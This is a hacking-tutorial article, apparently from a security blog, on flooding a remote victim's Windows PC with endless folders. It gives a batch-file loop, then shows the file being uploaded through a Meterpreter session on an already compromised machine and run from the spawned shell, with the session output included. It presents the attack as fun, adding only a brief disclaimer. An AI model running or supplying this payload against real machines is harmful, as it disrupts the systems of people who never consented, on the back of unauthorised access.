

# How to Create unlimited Folder in Remote Victim PC using Metasploit

---



[hackingarticles.in/how-to-create-unlimited-folder-in-remote-victim-pc-using-metasploit](http://hackingarticles.in/how-to-create-unlimited-folder-in-remote-victim-pc-using-metasploit)

Raj

January 15, 2016

```
@echo off
:loop
md %random%
goto loop
```

[www.hackingarticles.in](http://www.hackingarticles.in)

Today we will learn to create Unlimited Folders on a Remote System.

## Table of Content:

---

- Working Principle
- Creation of Batch file
- Getting Meterpreter session
- Upload and run the Batch file

## Requirements

**Attacker:** Kali Linux

**Targets:** Windows

## Working Principle

Creating unlimited folders is a fun attack that could be executed on a remote system. In this attack, we are using a loop which will run up to a random value to create folders. This can be used to confuse the target with a huge number of folders as well as it can be used to mess with the target. After creating the batch file, we are going to send the file to the victim via a meterpreter session and upload command and then execute the batch file from the shell which was obtained from the meterpreter shell.

**Disclaimer: This is an attack is just for Educational Purposes and We are not responsible for any user using this attack.**

## Creation of Batch file

You can open any text editor on our Kali Linux to make a batch file like Vim, Leafpad etc. We are going to use Leafpad. We opened the Leafpad and typed the following loop code.

```
@echo off  
:loop  
md %random%  
goto loop
```

Now we got to save this file as a batch file. The format of the batch file is “.bat”. We can name the file whatever we want until we write .bat at the end of that file name at the time of saving the file. In our case, we named it as “folder.bat”.

Here we created the file and its contents can be seen in the given image.



Now, open Kali Linux terminal and type **msfconsole** in order to load Metasploit framework. Now we need to compromise victim's machine once to achieve any type of session either meterpreter or shell and to do so we can read our previous article from [here](#).

After getting meterpreter on the remote system, now time to use the upload command to upload the batch file we created earlier.

After uploading the batch file, we need to execute the file as well. So, we enter **the shell** command to spawn a command shell.

Now, we will execute the file using the given command and as shown in the given image. As we discussed earlier the batch file will get executed in the current directory and flood the directory with a huge number of folders.

```
upload /root/foldar.bat .  
shell
```

```
meterpreter > upload /root/foldar.bat .
[*] uploading   : /root/foldar.bat -> .
[*] uploaded    : /root/foldar.bat -> .\foldar.bat
meterpreter > shell
Process 4104 created.
Channel 8 created.
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\raj\Downloads>foldar.bat
foldar.bat
A subdirectory or file 25263 already exists.
A subdirectory or file 14608 already exists.
A subdirectory or file 13061 already exists.
A subdirectory or file 4951 already exists.
A subdirectory or file 25133 already exists.
A subdirectory or file 30596 already exists.
A subdirectory or file 16726 already exists.
A subdirectory or file 14700 already exists.
A subdirectory or file 2070 already exists.
A subdirectory or file 17266 already exists.
A subdirectory or file 25535 already exists.
A subdirectory or file 2554 already exists.
A subdirectory or file 32282 already exists.
A subdirectory or file 16317 already exists.
A subdirectory or file 28248 already exists.
A subdirectory or file 7302 already exists.
A subdirectory or file 7791 already exists.
A subdirectory or file 22399 already exists.
A subdirectory or file 23875 already exists.
A subdirectory or file 8444 already exists.
A subdirectory or file 30926 already exists.
A subdirectory or file 29852 already exists.
A subdirectory or file 4326 already exists.
A subdirectory or file 7802 already exists.
A subdirectory or file 26749 already exists.
A subdirectory or file 13932 already exists.
A subdirectory or file 9744 already exists.
A subdirectory or file 30551 already exists.
A subdirectory or file 23328 already exists.
A subdirectory or file 18982 already exists.
A subdirectory or file 20048 already exists.
```

The lines which can be observed in the above image states that when the loop was running, it was trying to create the same name directory that was already created earlier.

The selected directive was the Downloads Folder. As we can see in the image given that after running the script in the Downloads Directory is flooded with a huge number of folders.

